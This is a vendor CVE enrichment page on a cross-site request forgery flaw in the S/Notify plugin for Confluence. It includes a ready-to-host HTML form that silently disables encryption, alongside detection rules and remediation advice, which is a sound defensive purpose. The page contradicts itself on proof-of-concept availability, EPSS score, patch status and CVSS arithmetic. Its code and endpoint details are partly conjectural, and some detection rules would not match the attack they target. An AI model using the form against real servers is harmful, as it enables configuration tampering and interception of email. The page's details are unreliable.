☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2023-50932

CVE-2023-50932 Cross-Site Request Forgery in Savignano
📅 PUBLISHED: 2024-01-09 00:00 UTC 🔄 UPDATED: 2026-08-18 17:11 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-50932 is a Cross-Site Request Forgery (CSRF) vulnerability in the Savignano S/Notify plugin for Atlassian Confluence, affecting versions prior to 4.0.2. An unauthenticated attacker can trick an authenticated Confluence administrator into performing unintended actions, such as modifying the S/Notify plugin configuration. This can lead to the disabling of email encryption, potentially exposing sensitive notification content. The vulnerability has a CVSS score of 8.3 (High) and currently has no known public exploit code or active exploitation campaigns (EPSS 0.0%). The vendor has released a fix in version 4.0.2.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a commercial Atlassian Marketplace plugin (S/Notify) distributed through the Atlassian Marketplace. It is not an open-source package from NPM, PyPI, Go, or Ruby registries. The risk is limited to organizations using Confluence with the S/Notify plugin installed. The supply chain risk is moderate, as the plugin is a third-party component integrated into a widely used collaboration platform.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.3 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Attack Vector (AV): Network (N) – The attack can be launched remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
  • User Interaction (UI): Required (R) – The victim administrator must click a malicious link or visit a malicious site.
  • Scope (S): Unchanged (U) – The vulnerability affects only the S/Notify component.
  • Confidentiality (C): High (H) – Email notifications may be sent unencrypted, exposing sensitive data.
  • Integrity (I): High (H) – The attacker can modify plugin configuration.
  • Availability (A): High (H) – The attacker could disrupt email notification services.

Threat Level: High. While no active exploitation is reported, the potential impact on confidentiality and integrity is significant, especially in environments where Confluence handles sensitive project data.

Deep Dive & Mechanics

The vulnerability is a classic CSRF flaw in the S/Notify plugin's configuration interface. The plugin does not implement anti-CSRF tokens (e.g., synchronizer tokens) for its administrative configuration endpoints. When an administrator is logged into Confluence, an attacker can craft a malicious HTML page or email that, when accessed by the administrator, sends forged HTTP requests to the Confluence server. These requests modify the S/Notify plugin settings, such as disabling TLS/SSL for SMTP connections or changing encryption keys.

Attack Flow:

  1. The attacker identifies a Confluence instance with S/Notify installed (e.g., via Shodan or banner grabbing).
  2. The attacker crafts a malicious link or hosts a webpage containing an auto-submitting form that targets the S/Notify configuration endpoint (e.g., /plugins/servlet/snotify/admin/config).
  3. The attacker lures an authenticated Confluence administrator to click the link or visit the page.
  4. The administrator's browser sends a POST request to the configuration endpoint with the attacker's desired parameters (e.g., encryption=false).
  5. The server processes the request, modifying the plugin configuration.
  6. Subsequent email notifications are sent without encryption, allowing the attacker (if positioned on the network path) to intercept sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (pre-4.0.2): The configuration servlet likely lacked CSRF protection. A simplified example of the vulnerable endpoint:

// Vulnerable: No CSRF token validation
@WebServlet("/admin/config")
public class ConfigServlet extends HttpServlet {
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
        String encryption = req.getParameter("encryption");
        // Directly update configuration without token check
        config.setEncryption(Boolean.parseBoolean(encryption));
    }
}

Patched Code (4.0.2+): The fix introduces a CSRF token that must be included in every state-changing request.

// Patched: CSRF token validation
@WebServlet("/admin/config")
public class ConfigServlet extends HttpServlet {
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
        String token = req.getParameter("csrf_token");
        if (!token.equals(req.getSession().getAttribute("csrf_token"))) {
            resp.sendError(403, "Invalid CSRF token");
            return;
        }
        String encryption = req.getParameter("encryption");
        config.setEncryption(Boolean.parseBoolean(encryption));
    }
}

Exploitation & Lab Setup

Red Team

Lab Environment:

  • Confluence Server 7.x or 8.x with S/Notify < 4.0.2 installed.
  • Attacker machine with a web server (e.g., Python HTTP server).
  • Victim machine with a browser logged into Confluence as an administrator.

Exploitation Steps:

  1. Host the following malicious HTML page on the attacker's server:
<html>
<body>
<form id="csrf" action="http://victim-confluence:8090/plugins/servlet/snotify/admin/config" method="POST">
  <input type="hidden" name="encryption" value="false" />
  <input type="hidden" name="smtp_tls" value="false" />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
  1. Send the link to the victim administrator (e.g., via email or social engineering).
  2. Once the administrator visits the page, the form auto-submits, modifying the S/Notify configuration to disable encryption.
  3. Verify by checking that subsequent email notifications are sent in plaintext.

Blue Team

Detection & Prevention:

  • Monitor for unusual POST requests to /plugins/servlet/snotify/admin/config from non-whitelisted referrers.
  • Implement Content Security Policy (CSP) headers to block inline scripts and form submissions from unknown origins.
  • Use Web Application Firewall (WAF) rules to block requests to S/Notify configuration endpoints without a valid CSRF token.
  • Enable logging of all configuration changes in Confluence and alert on modifications to S/Notify settings.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /plugins/servlet/snotify/admin/config with parameters like encryption=false or smtp_tls=false.
    • Referrer headers from external domains (e.g., attacker-controlled sites).
  • Host IOCs:
    • Modified S/Notify configuration files (e.g., snotify.properties) with encryption=false.
    • Confluence audit logs showing unexpected changes to S/Notify settings.
  • Email IOCs:
    • Email notifications from Confluence that are not encrypted (e.g., missing TLS or STARTTLS headers).

Detection Engineering

YARA Rule

rule CVE_2023_50932_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against S/Notify for Confluence"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-50932"
    strings:
        $csrf_form = "action=\"/plugins/servlet/snotify/admin/config\"" ascii wide nocase
        $encryption_param = "encryption=false" ascii wide nocase
        $smtp_tls_param = "smtp_tls=false" ascii wide nocase
    condition:
        any of ($csrf_form) and any of ($encryption_param, $smtp_tls_param)
}

Sigma Rule

title: CVE-2023-50932 S/Notify CSRF Configuration Change
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to S/Notify admin config endpoint without CSRF token
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: confluence
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/plugins/servlet/snotify/admin/config'
        cs-referrer: 
            - ''  # Missing referrer
            - 'http://*'  # Non-HTTPS referrer
    condition: selection
falsepositives:
    - Legitimate configuration changes from trusted internal tools
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-50932 S/Notify CSRF Configuration Change Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/plugins/servlet/snotify/admin/config";
    http_uri;
    content:"encryption=false";
    http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2023-50932;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade S/Notify to version 4.0.2 or later from the Atlassian Marketplace.
  2. If immediate upgrade is not possible, implement a WAF rule to block POST requests to /plugins/servlet/snotify/admin/config from external referrers.
  3. Educate Confluence administrators about phishing risks and the importance of verifying URLs before clicking.

Long-Term Measures:

  • Enforce multi-factor authentication (MFA) for all Confluence administrators.
  • Regularly audit plugin configurations and enable change logging.
  • Implement network segmentation to limit exposure of Confluence to the internet.
  • Subscribe to vendor security advisories for S/Notify and other Atlassian plugins.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-50932/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.